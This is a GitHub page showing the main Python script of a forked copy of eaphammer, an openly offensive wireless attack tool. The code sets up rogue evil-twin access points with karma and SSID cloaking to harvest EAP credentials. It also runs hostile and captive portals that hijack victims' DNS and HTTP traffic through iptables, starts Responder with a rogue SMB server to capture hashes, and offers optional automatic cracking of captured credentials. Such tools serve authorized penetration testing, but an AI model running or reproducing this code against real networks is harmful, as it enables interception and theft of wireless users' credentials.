forked from s0lst1c3/eaphammer
/
eaphammer
executable file
·507 lines (391 loc) · 16.4 KB
/
eaphammer
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
#!/usr/bin/env python
import sys
import os
import config
import time
from core import cert_manager, conf_manager, utils, responder, services
from core.servers.redirect_server import RedirectServer
from core.autocrack import Autocrack
from argparse import ArgumentParser
from config import __version__
def cert_wizard():
while True:
print ('[*] Please enter two letter country '
'code for certs (i.e. US, FR)')
country = raw_input(': ').upper()
if len(country) == 2:
break
print '[!] Invalid input.'
print ('[*] Please enter state or province for '
'certs (i.e. Ontario, New Jersey)')
state = raw_input(': ')
print '[*] Please enter locale for certs (i.e. London, Hong Kong)'
locale = raw_input(': ')
print '[*] Please enter organization for certs (i.e. Evil Corp)'
org = raw_input(': ')
print '[*] Please enter email for certs (i.e. cyberz@h4x0r.lulz)'
email = raw_input(': ')
print '[*] Please enter common name (CN) for certs.'
cn = raw_input(': ')
cert_manager.ca_cnf.configure(country, state, locale, org, email, cn)
cert_manager.server_cnf.configure(country, state, locale, org, email, cn)
cert_manager.client_cnf.configure(country, state, locale, org, email, cn)
cert_manager.bootstrap()
def hostile_portal():
global responder
daemons = []
try:
# start autocrack if enabled
if options['use_autocrack']:
autocrack = Autocrack.get_instance()
autocrack.configure(wordlist=options['wordlist'])
autocrack.start()
daemons.append(autocrack)
# prepare environment
utils.nmcli.set_unmanaged(options['interface'])
utils.set_ipforward(1)
# initialize access point
if options['auth'] == 'open':
conf_manager.hostapd_open_cnf.configure(
interface=options['interface'],
ssid=options['essid'],
hw_mode=options['hw_mode'],
bssid=options['bssid'],
channel=options['channel'],
cloaking=options['cloaking'],
karma=options['karma'],
)
else:
conf_manager.hostapd_wpe_cnf.configure(
interface=options['interface'],
ssid=options['essid'],
hw_mode=options['hw_mode'],
bssid=options['bssid'],
channel=options['channel'],
wpa=options['wpa'],
karma=options['karma'],
use_autocrack=options['use_autocrack'],
cloaking=options['cloaking'],
eaphammer_fifo_path=config.fifo_path,
)
services.Hostapd.hardstart('%s ' % config.hostapd_cnf, verbose=False)
# configure routing
os.system('ifconfig %s 10.0.0.1 netmask 255.255.255.0' %\
options['interface'])
os.system('route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1')
# configure dnsmasq
conf_manager.dnsmasq_captive_portal_cnf.configure(
interface=options['interface'],
log_file=config.dnsmasq_log,
dhcp_script=config.dhcp_script,
)
services.Dnsmasq.hardstart('-C %s 2>&1' % config.dnsmasq_cnf)
# start RedirectServer
rs = RedirectServer.get_instance()
rs.configure('10.0.0.1')
rs.start()
daemons.append(rs)
# start Responder
if options['pivot']:
print '[*] Pivot mode activated. Rogue SMB server disabled.'
print ('[*] Run payload_generator to '
'generate a timed payload if desired.')
conf_manager.responder_cnf.configure(smb=False)
else:
conf_manager.responder_cnf.configure(smb=True)
resp = responder.Responder.get_instance()
resp.configure(interface=options['interface'])
resp.start()
daemons.append(resp)
# set iptables policy, flush all tables for good measure
utils.Iptables.accept_all()
utils.Iptables.flush()
utils.Iptables.flush('nat')
# use iptables to redirect all DNS and HTTP(S) traffic to PHY
utils.Iptables.route_dns2_addr('10.0.0.1', options['interface'])
utils.Iptables.route_http2_addr('10.0.0.1', options['interface'])
# pause execution until user quits
raw_input('Press enter to quit...')
# kill base services
services.Hostapd.kill()
services.Dnsmasq.kill()
# stop additional daemon processes
for d in daemons:
d.stop()
# restore iptables to a clean state (policy, flush tables)
utils.Iptables.accept_all()
utils.Iptables.flush()
utils.Iptables.flush('nat')
# cleanly allow network manager to regain control of interface
utils.nmcli.set_managed(options['interface'])
except KeyboardInterrupt:
# terminate base services
services.Hostapd.kill()
services.Dnsmasq.kill()
# stop additional daemon processes
for d in daemons:
d.stop()
# restore iptables to a clean state (policy, flush tables)
utils.Iptables.accept_all()
utils.Iptables.flush()
utils.Iptables.flush('nat')
# cleanly allow network manager to regain control of interface
utils.nmcli.set_managed(options['interface'])
def captive_portal():
daemons = []
try:
# prepare environment
utils.set_ipforward(1)
utils.nmcli.set_unmanaged(options['interface'])
# start autocrack if enabled
if options['use_autocrack']:
autocrack = Autocrack.get_instance()
autocrack.configure(wordlist=options['wordlist'])
autocrack.start()
daemons.append(autocrack)
# initialize access point
if options['auth'] == 'open':
conf_manager.hostapd_open_cnf.configure(
interface=options['interface'],
ssid=options['essid'],
hw_mode=options['hw_mode'],
bssid=options['bssid'],
channel=options['channel'],
cloaking=options['cloaking'],
karma=options['karma'],
)
else:
conf_manager.hostapd_wpe_cnf.configure(
interface=options['interface'],
ssid=options['essid'],
hw_mode=options['hw_mode'],
bssid=options['bssid'],
channel=options['channel'],
wpa=options['wpa'],
karma=options['karma'],
cloaking=options['cloaking'],
use_autocrack=options['use_autocrack'],
eaphammer_fifo_path=config.fifo_path,
)
services.Hostapd.hardstart('%s' % config.hostapd_cnf, verbose=False)
# configure routing
os.system('ifconfig %s 10.0.0.1 netmask 255.255.255.0' %\
options['interface'])
os.system('route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1')
# configure dnsmasq
conf_manager.dnsmasq_captive_portal_cnf.configure(
interface=options['interface'],
log_file=config.dnsmasq_log,
dhcp_script=config.dhcp_script)
services.Dnsmasq.hardstart('-C %s 2>&1' % config.dnsmasq_cnf)
# start httpd
services.Httpd.start()
# set iptables policy, flush all tables for good measure
utils.Iptables.accept_all()
utils.Iptables.flush()
utils.Iptables.flush('nat')
# use iptables to redirect all DNS and HTTP(S) traffic to PHY
utils.Iptables.route_dns2_addr('10.0.0.1', options['interface'])
utils.Iptables.route_http2_addr('10.0.0.1', options['interface'])
# pause execution until user quits
raw_input('press enter to quit...')
# terminate base services
services.Hostapd.kill()
services.Dnsmasq.kill()
services.Httpd.stop()
# stop additional daemon processes
for d in daemons:
d.stop()
# restore iptables to a clean state (policy, flush tables)
utils.Iptables.accept_all()
utils.Iptables.flush()
utils.Iptables.flush('nat')
# cleanly allow network manager to regain control of interface
utils.nmcli.set_managed(options['interface'])
except KeyboardInterrupt:
# terminate base services
services.Hostapd.kill()
services.Dnsmasq.kill()
utils.Httpd.stop()
# stop additional daemon processes
for d in daemons:
d.stop()
# restore iptables to a clean state (policy, flush tables)
utils.Iptables.accept_all()
utils.Iptables.flush()
utils.Iptables.flush('nat')
# cleanly allow network manager to regain control of interface
utils.nmcli.set_managed(options['interface'])
def reap_creds():
try:
daemons = []
# start autocrack if enabled
if options['use_autocrack']:
autocrack = Autocrack.get_instance()
autocrack.configure(wordlist=options['wordlist'])
autocrack.start()
daemons.append(autocrack)
conf_manager.hostapd_wpe_cnf.configure(
interface=options['interface'],
ssid=options['essid'],
hw_mode=options['hw_mode'],
bssid=options['bssid'],
channel=options['channel'],
wpa=options['wpa'],
karma=options['karma'],
cloaking=options['cloaking'],
use_autocrack=options['use_autocrack'],
eaphammer_fifo_path=config.fifo_path,
)
utils.nmcli.set_unmanaged(options['interface'])
services.Hostapd.hardstart('%s ' % config.hostapd_cnf, verbose=False)
# pause execution until user quits
raw_input('press enter to quit...')
# kill hostapd
services.Hostapd.kill()
# kill additional daemon processes
for d in daemons:
d.stop()
# cleanly allow network manager to regain control of interface
utils.nmcli.set_managed(options['interface'])
except KeyboardInterrupt:
# kill hostapd
services.Hostapd.kill()
# kill additional daemon processes
for d in daemons:
d.stop()
# cleanly allow network manager to regain control of interface
utils.nmcli.set_managed(options['interface'])
def set_options():
parser = ArgumentParser()
parser.add_argument('--cert-wizard',
dest='cert_wizard',
action='store_true',
help=('Use this flag to create a new '
'RADIUS cert for your AP'))
parser.add_argument('-i', '--interface',
dest='interface',
type=str,
help='The phy interface on which to create the AP')
parser.add_argument('-e', '--essid',
dest='essid',
default='eaphammer',
type=str,
help='Specify access point ESSID')
parser.add_argument('-b', '--bssid',
dest='bssid',
default='00:11:22:33:44:00',
type=str,
help='Specify access point BSSID')
parser.add_argument('--hw-mode',
dest='hw_mode',
type=str,
default='g',
help='Specify access point hardware mode (default: g).')
parser.add_argument('-c', '--channel',
dest='channel',
type=int,
default=1,
help='Specify access point channel')
parser.add_argument('--wpa',
dest='wpa',
type=int,
choices=[1, 2],
default=2,
help='Specify WPA type (default: 2).')
parser.add_argument('--auth',
dest='auth',
type=str,
choices=['peap', 'ttls', 'open'],
default='open',
help='Specify auth type (default: open).')
parser.add_argument('--cloaking',
dest='cloaking',
choices=['none', 'full', 'zeroes'],
default='none',
help='Send empty SSID in beacons and ignore probe request '
'frames that do not specify full SSID (i.e. require '
'stations to know SSID). Choices: [1. none - do '
'not use SSID cloaking. ] [2. full - Send empty string'
' in beacon and ignore probe requests for broadcast '
'SSID ] [3. zeroes - Replace all characters in SSID '
'with ASCII 0 and ignore probe requests for '
'broadcast SSID.]')
parser.add_argument('--creds',
dest='reap_creds',
action='store_true',
help='Harvest EAP creds using evil twin attack')
parser.add_argument('--hostile-portal',
dest='hostile_portal',
action='store_true',
help='Force clients to connect to hostile portal')
parser.add_argument('--captive-portal',
dest='captive_portal',
action='store_true',
help='Force clients to connect to a captive portal')
parser.add_argument('--pivot',
dest='pivot',
action='store_true',
help='Use this flag to perform an indirect wireless pivot')
parser.add_argument('--karma',
dest='karma',
action='store_true',
help='Enable karma.')
parser.add_argument('--remote-autocrack',
dest='remote_autocrack',
metavar='hostname:port',
type=str,
help='Use autocrack n add with remote cracking rig.')
parser.add_argument('--wordlist',
dest='wordlist',
default=config.default_wordlist,
type=str,
help='Specify the wordlist to use with '
'the autocrack feature.')
parser.add_argument('--local-autocrack',
dest='local_autocrack',
action='store_true',
help='Use internal autocrack n add feature')
args = parser.parse_args()
options = args.__dict__
if options['cert_wizard'] == False:
if options['interface'] is None:
parser.print_usage()
msg = (
'[!] Please specify a valid PHY '
'interface using the --interface flag'
)
print
print msg
sys.exit()
if options['remote_autocrack'] is not None:
print
print '[!] This feature has not been implemented yet.'
sys.exit()
options['use_autocrack'] = True
elif options['local_autocrack']:
options['use_autocrack'] = True
else:
options['use_autocrack'] = False
return options
def print_banner():
print '''
.__
____ _____ ______ | |__ _____ _____ _____ ___________
_/ __ \\\\__ \\ \\____ \\| | \\\\__ \\ / \\ / \\_/ __ \\_ __ \\
\\ ___/ / __ \\| |_> > Y \\/ __ \\| Y Y \\ Y Y \\ ___/| | \\/
\\___ >____ / __/|___| (____ /__|_| /__|_| /\\___ >__|
\\/ \\/|__| \\/ \\/ \\/ \\/ \\/
v%s
''' % (__version__)
if __name__ == '__main__':
print_banner()
options = set_options()
if options['cert_wizard']:
cert_wizard()
elif options['captive_portal']:
captive_portal()
elif options['hostile_portal']:
hostile_portal()
else:
reap_creds()